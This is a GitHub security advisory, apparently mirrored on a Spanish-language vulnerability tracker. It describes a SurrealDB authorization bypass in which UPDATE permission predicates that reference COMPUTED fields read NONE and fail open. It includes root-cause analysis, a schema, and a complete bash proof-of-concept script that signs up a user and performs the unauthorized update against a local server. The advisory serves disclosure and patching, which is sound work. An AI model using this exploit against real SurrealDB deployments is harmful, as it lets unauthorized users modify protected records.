GHSA-F6H4-5XF2-86Q9
table-level `PERMISSIONS FOR update` predicates referencing COMPUTED fields are evaluated before computed-field population, letting the predicate read `NONE` and always pass
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.3.4 | surrealdb · -21 d desde divulgación | |
| Divulgación | Publicada | GHSA-F6H4-5XF2-86Q9 divulgada · CVSS 6.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
> affected: SurrealDB `>= 3.2.0` (v2.x not assessed) — `UPDATE` (and the shared `check_update_permissions` / `recheck_update_permissions` gate)
> dynamically reproduced: official release binary v3.2.0 and `master` `9d9a5b069` (v3.3.0-nightly), in-memory engine; control group run alongside (see PoC)
---
_Source references (`file.rs:line`) are to commit `9d9a5b069` (v3.3.0-nightly)._
Summary
A table-level `PERMISSIONS FOR update` predicate that references a `COMPUTED` field is evaluated before that field is populated on the document, so the predicate observes `NONE` for the computed field regardless of the value the field would actually compute to. Any predicate of the form `WHERE computed_field <comparison> <literal>` that is meant to deny the caller can silently evaluate to truthy against `NONE` and let the update through. Reproduced end-to-end: a record user `alice` was able to `UPDATE` a row whose table permission `FOR update WHERE blocked != true` should reject her, because `blocked` is `COMPUTED TRUE` and was `NONE` at permission-check time — while the identical predicate on a plain stored field correctly rejects.
Details
`Document::update` (`surrealdb/core/src/doc/update.rs:9-52`) runs its security gate at the very top:
// SECURITY: evaluate the table-level update permission BEFORE any
// user-supplied expression in the WHERE clause or data clause.
self.check_update_permissions(stk, ctx, opt, &self.current).await?;At this point `self.current` is the document as loaded from storage; computed fields are only materialized later, in the output stage via `compute_fields` (`surrealdb/core/src/doc/compute.rs:56`). `check_update_permissions` (`surrealdb/core/src/doc/check.rs:389-401`) hands `self.current` to `process_permissions` (`check.rs:448-474`), which for `Permission::Specific(e)` computes the predicate against that `CursorDoc` with `Some(doc)` — so any computed field name inside `e` resolves via `Param::compute` / idiom lookup to `NONE` (the field is not in the doc yet).
The predicate `blocked != true` therefore sees `NONE != true` → `is_truthy()` → `Ok(())` → the update proceeds. The `recheck_update_permissions` call later (`update.rs:41`) is conditional on the permission being `Permission::Specific` (`check.rs:425-436`), but it too evaluates against `self.current` after `process_table_fields` — computed fields are populated on the *output/reduced* views, not guaranteed on the `self.current` view used for the permission re-check, so the gate is not closed there either.
The control group proves this is a timing bug, not a semantics decision: with `blocked` stored as a plain field (`CREATE person:1 SET blocked = true`), the same predicate `WHERE blocked != true` evaluates `true != true` → falsy → the update is rejected. Only the COMPUTED variant passes, and only because the predicate ran against an un-populated document.
`check_update_permissions` / `process_permissions` are shared by `UPDATE` (and the `CREATE`/`DELETE`/`SELECT` gates via `check_create_permissions` / `check_delete_permissions` / `check_select_permissions`), so the same class of bug affects any permission predicate that reads a computed field.
PoC
A self-contained, self-checking reproduction script is embedded below; it manages its own in-memory server, schema, record-access signup/signin, and asserts every step. Prereqs: a `surreal` binary built with `--features storage-mem,http`.
Scope note: dynamically reproduced on the official v3.2.0 release binary (`surreal-v3.2.0.linux-amd64.tgz`, 4/4 checks pass) and on `master` at commit `9d9a5b069` (v3.3.0-nightly, 4/4 checks pass). Source comparison indicates the same timing (table permission check before computed-field population) exists in earlier v3.x/v2.x tags, but the dynamically verified lower bound is `v3.2.0`; earlier versions were not re-run. The script exercises both the COMPUTED (bypass) and the plain-field (control, rejected) cases against the same permission predicate.
Environment / configuration:
cargo build --release --locked --no-default-features --features storage-mem,http --bin surreal
./target/release/surreal start --user root --pass root memory --bind 127.0.0.1:8000Schema (owner-defined table + COMPUTED gate + record access):
DEFINE NAMESPACE test;
DEFINE DATABASE test;
USE NS test DB test;
DEFINE TABLE person PERMISSIONS FOR select FULL, FOR update WHERE blocked != true;
DEFINE FIELD blocked ON person COMPUTED TRUE;
DEFINE ACCESS user ON DATABASE TYPE RECORD
SIGNUP ( CREATE user SET email = $email, pass = crypto::argon2::generate($pass) )
SIGNIN ( SELECT * FROM user WHERE email = $email AND crypto::argon2::compare(pass, $pass) )
DURATION FOR SESSION 1d FOR TOKEN 15s;
CREATE person:1 SET name = 'x';Steps and expected outcomes:
# 1. ATTACK — alice must NOT be able to UPDATE (blocked COMPUTED TRUE => blocked != true is false),
# but the predicate reads NONE (computed not yet populated) => NONE != true is truthy => update succeeds:
UPDATE person:1 SET name = 'y';
-> [ { id: person:1, name: 'y', blocked: true } ] # update went through
# 2. CONTROL — same predicate, plain stored field: blocked = true => true != true is false => rejected:
# (fresh table `person2`, blocked is a plain field)
UPDATE person2:1 SET name = 'z';
-> [ ] # update rejected (empty result)Live transcript (2026-08-15, embedded script, 4/4 checks pass):
===== 0. Prep: start a fresh in-memory server =====
===== 1. Initialize schema (COMPUTED-gated table) =====
===== 2. alice signs up + signs in (record access) =====
[PASS] alice signed in (token acquired)
===== 3. ATTACK: UPDATE against COMPUTED-gated permission =====
[PASS] BYPASS: alice's UPDATE succeeded despite FOR update WHERE blocked != true (blocked COMPUTED TRUE)
===== 4. CONTROL: same predicate, plain stored field =====
[PASS] CONTROL: plain-field predicate correctly rejects the UPDATE
===== 5. Persistence check =====
[PASS] row was actually modified (name='y'), not just reportedImpact
- Type: authorization bypass (CWE-863 incorrect authorization). Integrity: a principal who should be denied by a table-level `PERMISSIONS FOR update` predicate can modify records.
- Who is impacted: any deployment that gates table writes with a `PERMISSIONS FOR update` predicate that references a `COMPUTED` field — a common pattern for "soft-delete flags", "locked / archived" markers, or computed ownership/status checks (`WHERE is_archived != true`, `WHERE status != 'final'` computed from other fields, etc.). Every caller who fails the intended predicate is silently granted the write.
- Attacker requirements: (1) any table-level `update` permission (the `Specific` predicate is the intended deny mechanism); (2) the predicate references a computed field. The attacker need not know or read the computed value — the predicate degenerates to `NONE <cmp> <literal>`.
- Effect: the intended row-level write restriction is a no-op. Because the predicate can read *any* computed expression result as `NONE`, the guard is not merely bypassable — it is consistently evaluated against the wrong (empty) document, so deny-intended predicates fail open on every write.
- Contrast / false-positive guard: `Permission::Full` and `Permission::None` are unaffected; only `Permission::Specific` predicates are evaluated against the pre-computed document, and only computed-field references degrade to `NONE` (plain stored fields are already in `self.current` at load time).
Suggested fix: materialize the closure of computed fields referenced by the permission predicate on the document used for `check_update_permissions` / `recheck_update_permissions` (e.g. run `compute_fields(stk, ctx, opt, DocKind::Current, Some(required_roots))` before `process_permissions`, mirroring how SELECT computes its projection/WHERE roots — `compute.rs` `needed_roots`), or evaluate the predicate against a view that has already populated computed fields. Either way, the gate must see the same computed values the rest of the pipeline sees.
---
Reproduction script (self-contained)
#!/usr/bin/env bash
# SurrealDB table-level PERMISSIONS FOR update predicate + COMPUTED field bypass PoC
# Root cause: check_update_permissions (update.rs:18) evaluates the table update
# permission predicate against self.current BEFORE computed fields are populated
# (compute.rs), so a predicate like `FOR update WHERE blocked != true` reads the
# computed `blocked` as NONE and always passes. Control group: the same predicate
# on a plain stored field correctly rejects.
#
# Prereqs: a `surreal` binary built with --features storage-mem,http.
# The script self-manages a fresh in-memory server and schema.
# Usage: SURREAL_BIN=/path/to/surreal bash this-script.sh
set -u
BASE="http://127.0.0.1:8000"
if [ -n "${SURREAL_BIN:-}" ]; then BIN="$SURREAL_BIN"
elif command -v surreal >/dev/null 2>&1; then BIN="$(command -v surreal)"
else BIN="$(dirname "$0")/surreal"; fi
LOG="$(mktemp)"
PASS=0; FAIL=0
ok(){ echo " [PASS] $1"; PASS=$((PASS+1)); }
bad(){ echo " [FAIL] $1"; FAIL=$((FAIL+1)); }
sql_root() { curl -s -u root:root -H "Surreal-NS: test" -H "Surreal-DB: test" -X POST "$BASE/sql" --data-binary "$1"; }
echo "===== 0. Prep: start a fresh in-memory server ====="
pkill -f 'surreal start' 2>/dev/null || true
sleep 1
"$BIN" start --user root --pass root memory --bind 127.0.0.1:8000 >"$LOG" 2>&1 &
SRV=$!
for i in $(seq 1 30); do curl -s -o /dev/null "$BASE/" && break; sleep 1; done
curl -s -o /dev/null "$BASE/" || { echo "server failed to start, log:"; tail -5 "$LOG"; exit 1; }
echo "===== 1. Initialize schema (COMPUTED-gated table) ====="
SCHEMA=$(cat <<EOF
DEFINE NAMESPACE test;
DEFINE DATABASE test;
USE NS test DB test;
DEFINE TABLE person PERMISSIONS FOR select FULL, FOR update WHERE blocked != true;
DEFINE FIELD blocked ON person COMPUTED TRUE;
DEFINE ACCESS user ON DATABASE TYPE RECORD
SIGNUP ( CREATE user SET email = \$email, pass = crypto::argon2::generate(\$pass) )
SIGNIN ( SELECT * FROM user WHERE email = \$email AND crypto::argon2::compare(pass, \$pass) )
DURATION FOR SESSION 1d FOR TOKEN 15s;
CREATE person:1 SET name = 'x';
EOF
)
sql_root "$SCHEMA" >/dev/null
echo "===== 2. alice signs up + signs in (record access) ====="
curl -s -X POST "$BASE/signup" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{"NS":"test","DB":"test","AC":"user","email":"alice@x","pass":"pw"}' >/dev/null
ALICE=$(curl -s -X POST "$BASE/signin" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{"NS":"test","DB":"test","AC":"user","email":"alice@x","pass":"pw"}')
TOKEN=$(echo "$ALICE" | python3 -c 'import sys,json; print(json.load(sys.stdin).get("token",""))' 2>/dev/null)
[ -n "$TOKEN" ] && ok "alice signed in (token acquired)" || { bad "alice signin failed: $ALICE"; exit 1; }
sql_alice() { curl -s -X POST "$BASE/sql" -H "Authorization: Bearer $TOKEN" -H "Surreal-NS: test" -H "Surreal-DB: test" --data-binary "$1"; }
echo "===== 3. ATTACK: UPDATE against COMPUTED-gated permission ====="
R=$(sql_alice "UPDATE person:1 SET name = 'y'")
echo " output: $R"
echo "$R" | grep -q '"name":"y"' && ok "BYPASS: alice's UPDATE succeeded despite FOR update WHERE blocked != true (blocked COMPUTED TRUE)" || bad "no bypass: update rejected"
echo " (expected a non-empty result: predicate read the computed blocked as NONE and passed)"
echo "===== 4. CONTROL: same predicate, plain stored field ====="
sql_root "USE NS test DB test; DEFINE TABLE person2 PERMISSIONS FOR select FULL, FOR update WHERE blocked != true; CREATE person2:1 SET name = 'x', blocked = true;" >/dev/null
R=$(sql_alice "UPDATE person2:1 SET name = 'z'")
echo " output: $R"
echo "$R" | grep -q '\[\]' && ok "CONTROL: plain-field predicate correctly rejects the UPDATE" || bad "control unexpectedly allowed update: $R"
echo "===== 5. Persistence check ====="
R=$(sql_root "USE NS test DB test; SELECT name, blocked FROM person:1")
echo " row state: $R"
echo "$R" | grep -q '"name":"y"' && ok "row was actually modified (name='y'), not just reported" || bad "row not modified"
echo
echo "===== Result: PASS=$PASS FAIL=$FAIL ====="
[ -n "${SRV:-}" ] && kill "$SRV" 2>/dev/null || truePatches
A patch has been created that evaluates a table-level permission predicate against the document after its referenced computed fields are populated, so a `PERMISSIONS FOR update` predicate that reads a computed field no longer observes `NONE` and fails open. The fix landed on the 3.3 line and is also present in the 4.0 single-VM engine.
- Version 4.0.0 and later are not affected by this issue.
References
- SurrealQL Documentation — DEFINE TABLE … PERMISSIONS
https://surrealdb.com/docs/surrealql/statements/define/table - `fix(doc): derive computed fields in dependency order` (commit `1ac2b1dba7`)
- `fix(exec): derive the computed fields a field's SELECT clause reads in its own frame` (commit `d813af6632`)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 3.3.4 | -21 d | 4.0.1 no afectada |
3.3.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-f6h4-5xf2-86q9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
